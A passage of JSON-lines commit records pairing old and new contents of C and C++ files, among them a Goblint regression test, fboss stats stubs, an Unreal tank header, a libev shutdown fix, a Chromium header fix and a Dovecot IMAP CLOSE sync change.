a weak update\n        x = 31;\n        assert(x == 31); \/\/ UNKNOWN\n    }\n    return 0;\n}\n\n\nint main() {\n    int t;\n    rec(0,&t);\n    return 0;\n}\n","subject":"Add \"escaping\" via recursion example","message":"Add \"escaping\" via recursion example\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c5948e847f1da44bb6d076253ac1e73df0cd162c","old_file":"tests\/regression\/01-cpa\/55-dead-branch-multiple.c","new_file":"tests\/regression\/01-cpa\/55-dead-branch-multiple.c","old_contents":"","new_contents":"#include <assert.h>\n\nint main() {\n  int a = 1;\n  int b = 0;\n\n  if (a && b) { \/\/ TODO WARN\n    assert(0); \/\/ NOWARN (unreachable)\n  }\n\n  return 0;\n}\n","subject":"Add regression test for multiple dead branches","message":"Add regression test for multiple dead branches\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"951f746d0de74c85f26fbdc0e32f8f92699d76b5","old_file":"src\/simple_data_types_and_compounds\/c\/arrays\/sample_array.c","new_file":"src\/simple_data_types_and_compounds\/c\/arrays\/sample_array.c","old_contents":"","new_contents":"\/*\n * Author: Jhonatan Casale (jhc)\n *\n * Contact : jhonatan@jhonatancasale.com\n *         : casale.jhon@gmail.com\n *         : https:\/\/github.com\/jhonatancasale\n *         : https:\/\/twitter.com\/jhonatancasale\n *         : http:\/\/jhonatancasale.github.io\/\n *\n * Create date Sat 10 Dec 16:28:22 BRST 2016\n *\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\nint main (int argc, char **argv)\n{\n  int i;\n  int array[ 100 ];\n  int sum = 0;\n\n  for ( i = 0; i < 100; i++ )\n    array[ i ] = i + 1;\n\n  for ( i = 0; i < 100; i++ )\n    sum += array[ i ];\n\n  printf (\"Sum from 0 to 100: %d\\n\", sum);\n\n  return (EXIT_SUCCESS);\n}\n","subject":"Add arrays example in C","message":"Add arrays example in C\n","lang":"C","license":"mit","repos":"jhonatancasale\/c-python-r-diffs,jhonatancasale\/c-python-r-diffs,jhonatancasale\/c-python-r-diffs"}
{"commit":"fd7f66f8c2d75858a2fd7ede056418d7be109792","old_file":"common\/stats\/ExportedTimeseries.h","new_file":"common\/stats\/ExportedTimeseries.h","old_contents":"\/*\n *  Copyright (c) 2004-present, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\n#include <folly\/Range.h>\n#include <chrono>\n\nnamespace facebook {\n\nclass SpinLock {\n};\n\nclass SpinLockHolder {\npublic:\n  explicit SpinLockHolder(SpinLock*) {}\n};\n\nnamespace stats {\n\nenum ExportType {\n  SUM,\n  COUNT,\n  AVG,\n  RATE,\n  PERCENT,\n  NUM_TYPES,\n};\n\nstruct ExportedStat {\n  void addValue(std::chrono::seconds, int64_t) {}\n};\n\nclass ExportedStatMap {\npublic:\n  class LockAndStatItem {\n  public:\n    std::shared_ptr<SpinLock> first;\n    std::shared_ptr<ExportedStat> second;\n  };\n  LockAndStatItem getLockAndStatItem(folly::StringPiece,\n                                     const ExportType* = nullptr) {\n    static LockAndStatItem it = {\n      std::make_shared<SpinLock>(), std::make_shared<ExportedStat>()\n    };\n    return it;\n  }\n};\n\n}}\n","new_contents":"\/*\n *  Copyright (c) 2004-present, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\n#include <folly\/Range.h>\n#include <chrono>\n\nnamespace facebook {\n\nclass SpinLock {\n};\n\nclass SpinLockHolder {\npublic:\n  explicit SpinLockHolder(SpinLock*) {}\n};\n\nnamespace stats {\n\nenum ExportType {\n  SUM,\n  COUNT,\n  AVG,\n  RATE,\n  PERCENT,\n  NUM_TYPES,\n};\n\nstruct ExportedStat {\n  void addValue(std::chrono::seconds, int64_t) {}\n};\n\nclass ExportedStatMap {\npublic:\n  class LockAndStatItem {\n  public:\n    std::shared_ptr<SpinLock> first;\n    std::shared_ptr<ExportedStat> second;\n  };\n  LockAndStatItem getLockAndStatItem(folly::StringPiece,\n                                     const ExportType* = nullptr) {\n    static LockAndStatItem it = {\n      std::make_shared<SpinLock>(), std::make_shared<ExportedStat>()\n    };\n    return it;\n  }\n\n  std::shared_ptr<ExportedStat> getStatPtr(folly::StringPiece name) {\n      return std::make_shared<ExportedStat>();\n  }\n};\n\n}}\n","subject":"Fix some build issues in the open source code.","message":"Fix some build issues in the open source code.\n\nSummary:\nOur code grew some implicit transitive dependencies on\nthe headers that internal headers included, but our stubs\ndid not. This fixes that, and updates our stubs to match\nwhat our code expects.\n\nTest Plan: Apply to open source repository and test.\n\nReviewed By: yfeldblum@fb.com\n\nSubscribers: fbcode-common-diffs@, net-systems@, yfeldblum\n\nFB internal diff: D1982664\n\nSignature: t1:1982664:1428695964:3fd76243d013ca4969c0dcd91f97e3292cf13c1f\n\nSigned-off-by: Ori Bernstein <f1fed15cf5b8387c8aee8bc535d6c2b48da91000@fb.com>\n","lang":"C","license":"bsd-3-clause","repos":"sonoble\/fboss,sonoble\/fboss,neuhausler\/fboss,raphaelamorim\/fboss,peterlei\/fboss,raphaelamorim\/fboss,neuhausler\/fboss,neuhausler\/fboss,peterlei\/fboss,peterlei\/fboss,biddyweb\/fboss,raphaelamorim\/fboss,biddyweb\/fboss,biddyweb\/fboss,neuhausler\/fboss,sonoble\/fboss,peterlei\/fboss"}
{"commit":"7be293bd7fbf85b88387835c99891e2ac3e2e4ff","old_file":"dev\/Source\/dev\/Public\/Tank.h","new_file":"dev\/Source\/dev\/Public\/Tank.h","old_contents":"\/\/ Fill out your copyright notice in the Description page of Project Settings.\n\n#pragma once\n\n\n#include \"GameFramework\/Pawn.h\"\n#include \"Tank.generated.h\" \/\/ Put new includes above\n\nclass UTankBarrel; \/\/ Do a class forward declaration\nclass UTurret;\nclass UTankAimingComponent;\nclass AProjectile;\n\nUCLASS()\nclass DEV_API ATank : public APawn\n{\n\tGENERATED_BODY()\n\npublic:\n    void AimAt(FVector hitLocation);\n\n    \/\/ Make the following method be callable from blueprint\n    UFUNCTION(BlueprintCallable, Category = Setup)\n    void SetBarrelReference(UTankBarrel* barrelToSet);\n\n    UFUNCTION(BlueprintCallable, Category = Setup)\n    void SetTurretReference(UTurret* turretToSet);\n\n    UFUNCTION(BlueprintCallable, Category = Setup)\n    void FireCannon();\n\nprotected:\n    UTankAimingComponent* tankAimingComponent = nullptr;\n\nprivate:\n    UPROPERTY(EditAnywhere, Category = Firing)\n    float launchSpeed = 4000.0f; \/\/ 1000 metres per second. TODO: find a sensible default\n\n\t\/\/ Sets default values for this pawn's properties\n\tATank();\n\n\t\/\/ Called when the game starts or when spawned\n\tvirtual void BeginPlay() override;\n\n    UPROPERTY(EditAnywhere, Category = \"Setup\")\n    TSubclassOf<AProjectile> projectileBlueprint;\n\n    UTankBarrel* barrel = nullptr;\n    float reloadTimeInSeconds = 3.0f; \/\/ sensible default\n    double lastFireTime = 0;\n};\n","new_contents":"\/\/ Fill out your copyright notice in the Description page of Project Settings.\n\n#pragma once\n\n\n#include \"GameFramework\/Pawn.h\"\n#include \"Tank.generated.h\" \/\/ Put new includes above\n\nclass UTankBarrel; \/\/ Do a class forward declaration\nclass UTurret;\nclass UTankAimingComponent;\nclass AProjectile;\n\nUCLASS()\nclass DEV_API ATank : public APawn\n{\n\tGENERATED_BODY()\n\npublic:\n    void AimAt(FVector hitLocation);\n\n    \/\/ Make the following method be callable from blueprint\n    UFUNCTION(BlueprintCallable, Category = \"Setup\")\n    void SetBarrelReference(UTankBarrel* barrelToSet);\n\n    UFUNCTION(BlueprintCallable, Category = \"Setup\")\n    void SetTurretReference(UTurret* turretToSet);\n\n    UFUNCTION(BlueprintCallable, Category = \"Setup\")\n    void FireCannon();\n\nprotected:\n    UTankAimingComponent* tankAimingComponent = nullptr;\n\nprivate:\n    UPROPERTY(EditAnywhere, Category = Firing)\n    float launchSpeed = 4000.0f; \/\/ 1000 metres per second. TODO: find a sensible default\n\n\t\/\/ Sets default values for this pawn's properties\n\tATank();\n\n\t\/\/ Called when the game starts or when spawned\n\tvirtual void BeginPlay() override;\n\n    UPROPERTY(EditDefaultsOnly, Category = \"Setup\")\n    TSubclassOf<AProjectile> projectileBlueprint;\n\n    UTankBarrel* barrel = nullptr;\n    \n    UPROPERTY(EditDefaultsOnly, Category = \"Firing\")\n    float reloadTimeInSeconds = 3.0f; \/\/ sensible default\n    double lastFireTime = 0;\n};\n","subject":"Use EditDefaultsOnly insted of EditAnywhere","message":"Use EditDefaultsOnly insted of EditAnywhere\n","lang":"C","license":"mit","repos":"tanerius\/crazy_tanks,tanerius\/crazy_tanks,tanerius\/crazy_tanks"}
{"commit":"9789bc50472b6efdd56545e16e756175a052fba1","old_file":"src\/qnd.c","new_file":"src\/qnd.c","old_contents":"#include \"qnd.h\"\n\n\/* Global context for server *\/\nqnd_context ctx;\n\nint main(int argc, char **argv)\n{\n  struct ev_signal signal_watcher;\n  struct ev_io w_accept;\n  struct ev_loop *loop = ev_default_loop(0);\n\n  qnd_context_init(&ctx);\n  if (qnd_context_listen(&ctx, DEFAULT_PORT) == -1)\n    exit(1);\n\n  ev_signal_init(&signal_watcher, sigint_cb, SIGINT);\n  ev_signal_start(loop, &signal_watcher);\n\n  ev_io_init(&w_accept, accept_cb, ctx.sd, EV_READ);\n  ev_io_start(loop, &w_accept);\n\n  ev_loop(loop, 0);\n\n  qnd_context_cleanup(&ctx);\n\n  return 0;\n}\n","new_contents":"#include \"qnd.h\"\n\n\/* Global context for server *\/\nqnd_context ctx;\n\nint main(int argc, char **argv)\n{\n  struct ev_signal signal_watcher;\n  struct ev_io w_accept;\n  struct ev_loop *loop = ev_default_loop(0);\n\n  qnd_context_init(&ctx);\n  if (qnd_context_listen(&ctx, DEFAULT_PORT) == -1)\n    exit(1);\n\n  ev_signal_init(&signal_watcher, sigint_cb, SIGINT);\n  ev_signal_start(loop, &signal_watcher);\n\n  ev_io_init(&w_accept, accept_cb, ctx.sd, EV_READ);\n  ev_io_start(loop, &w_accept);\n\n  ev_loop(loop, 0);\n\n  ev_signal_stop(loop, &signal_watcher);\n  ev_io_stop(loop, &w_accept);\n  qnd_context_cleanup(&ctx);\n\n  return 0;\n}\n","subject":"Stop pending watchers during shutdown.","message":"Stop pending watchers during shutdown.\n","lang":"C","license":"mit","repos":"jbcrail\/quidnuncd,jbcrail\/quidnuncd"}
{"commit":"c8330a62fe3fba72c5a5094304f80808ee2de5a5","old_file":"os\/native_cursor.h","new_file":"os\/native_cursor.h","old_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2021  Igara Studio S.A.\n\/\/ Copyright (C) 2012-2014  David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_NATIVE_CURSOR_H_INCLUDED\n#define OS_NATIVE_CURSOR_H_INCLUDED\n#pragma once\n\n#include \"gfx\/fwd.h\"\n\nnamespace os {\n\n  enum class NativeCursor {\n    Hidden,\n    Arrow,\n    Crosshair,\n    IBeam,\n    Wait,\n    Link,\n    Help,\n    Forbidden,\n    Move,\n    SizeNS,\n    SizeWE,\n    SizeN,\n    SizeNE,\n    SizeE,\n    SizeSE,\n    SizeS,\n    SizeSW,\n    SizeW,\n    SizeNW,\n\n    Cursors\n  };\n\n} \/\/ namespace os\n\n#endif\n","new_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2021-2022  Igara Studio S.A.\n\/\/ Copyright (C) 2012-2014  David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_NATIVE_CURSOR_H_INCLUDED\n#define OS_NATIVE_CURSOR_H_INCLUDED\n#pragma once\n\n#include \"gfx\/fwd.h\"\n\nnamespace os {\n\n  enum class NativeCursor {\n    Hidden,\n    Arrow,\n    Crosshair,\n    IBeam,\n    Wait,\n    Link,\n    Help,\n    Forbidden,\n    Move,\n    SizeNS,\n    SizeWE,\n    SizeN,\n    SizeNE,\n    SizeE,\n    SizeSE,\n    SizeS,\n    SizeSW,\n    SizeW,\n    SizeNW,\n\n    Cursors [[maybe_unused]]\n  };\n\n} \/\/ namespace os\n\n#endif\n","subject":"Mark NativeCursor::Cursors as not needed in switch\/cases","message":"Mark NativeCursor::Cursors as not needed in switch\/cases\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"619362fe501e25d81812dd1564972d8f3851e821","old_file":"content\/browser\/renderer_host\/quota_dispatcher_host.h","new_file":"content\/browser\/renderer_host\/quota_dispatcher_host.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n\n#include \"base\/basictypes.h\"\n#include \"content\/browser\/browser_message_filter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebStorageQuotaType.h\"\n\nclass GURL;\n\nclass QuotaDispatcherHost : public BrowserMessageFilter {\n public:\n  ~QuotaDispatcherHost();\n  bool OnMessageReceived(const IPC::Message& message, bool* message_was_ok);\n\n private:\n  void OnQueryStorageUsageAndQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type);\n  void OnRequestStorageQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type,\n      int64 requested_size);\n};\n\n#endif  \/\/ CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n\n#include \"base\/basictypes.h\"\n#include \"content\/browser\/browser_message_filter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebStorageQuotaType.h\"\n\nclass GURL;\n\nclass QuotaDispatcherHost : public BrowserMessageFilter {\n public:\n  ~QuotaDispatcherHost();\n  virtual bool OnMessageReceived(const IPC::Message& message,\n                                 bool* message_was_ok);\n\n private:\n  void OnQueryStorageUsageAndQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type);\n  void OnRequestStorageQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type,\n      int64 requested_size);\n};\n\n#endif  \/\/ CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n","subject":"Fix clang build that have been broken by 81364.","message":"Fix clang build that have been broken by 81364.\n\nBUG=none\nTEST=green tree\nTBR=jam\n\nReview URL: http:\/\/codereview.chromium.org\/6838008\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@81368 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,keishi\/chromium,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,keishi\/chromium,Just-D\/chromium-1,ChromiumWebApps\/chromium,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,littlstar\/chromium.src,robclark\/chromium,markYoungH\/chromium.src,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,robclark\/chromium,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,robclark\/chromium,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,robclark\/chromium,jaruba\/chromium.src,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,jaruba\/chromium.src,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,anirudhSK\/chromium,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,M4sse\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,ltilve\/chromium,dednal\/chromium.src,Chilledheart\/chromium,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,zcbenz\/cefode-chromium,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,dednal\/chromium.src,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,axinging\/chromium-crosswalk,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,dushu1203\/chromium.src,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,ltilve\/chromium,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,keishi\/chromium,M4sse\/chromium.src,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,Chilledheart\/chromium,rogerwang\/chromium,dednal\/chromium.src,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,robclark\/chromium,nacl-webkit\/chrome_deps,M4sse\/chromium.src,jaruba\/chromium.src,ltilve\/chromium,jaruba\/chromium.src,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,keishi\/chromium,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,patrickm\/chromium.src,M4sse\/chromium.src,anirudhSK\/chromium,robclark\/chromium,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,robclark\/chromium,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,robclark\/chromium,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,anirudhSK\/chromium,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,patrickm\/chromium.src,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,Chilledheart\/chromium,rogerwang\/chromium,Just-D\/chromium-1,axinging\/chromium-crosswalk,keishi\/chromium,Just-D\/chromium-1,dednal\/chromium.src,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,zcbenz\/cefode-chromium,markYoungH\/chromium.src,dushu1203\/chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,anirudhSK\/chromium,Jonekee\/chromium.src,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,rogerwang\/chromium,markYoungH\/chromium.src,keishi\/chromium,zcbenz\/cefode-chromium,anirudhSK\/chromium,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,dednal\/chromium.src,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,littlstar\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk,keishi\/chromium,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,hujiajie\/pa-chromium,jaruba\/chromium.src,markYoungH\/chromium.src,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,axinging\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,Just-D\/chromium-1,ltilve\/chromium,ltilve\/chromium,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,dednal\/chromium.src,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,rogerwang\/chromium,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,keishi\/chromium,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,dednal\/chromium.src,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk"}
{"commit":"ff7a33c4f1e341dbdd4775307e3f52c004c21444","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n","lang":"C","license":"mit","repos":"damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot"}
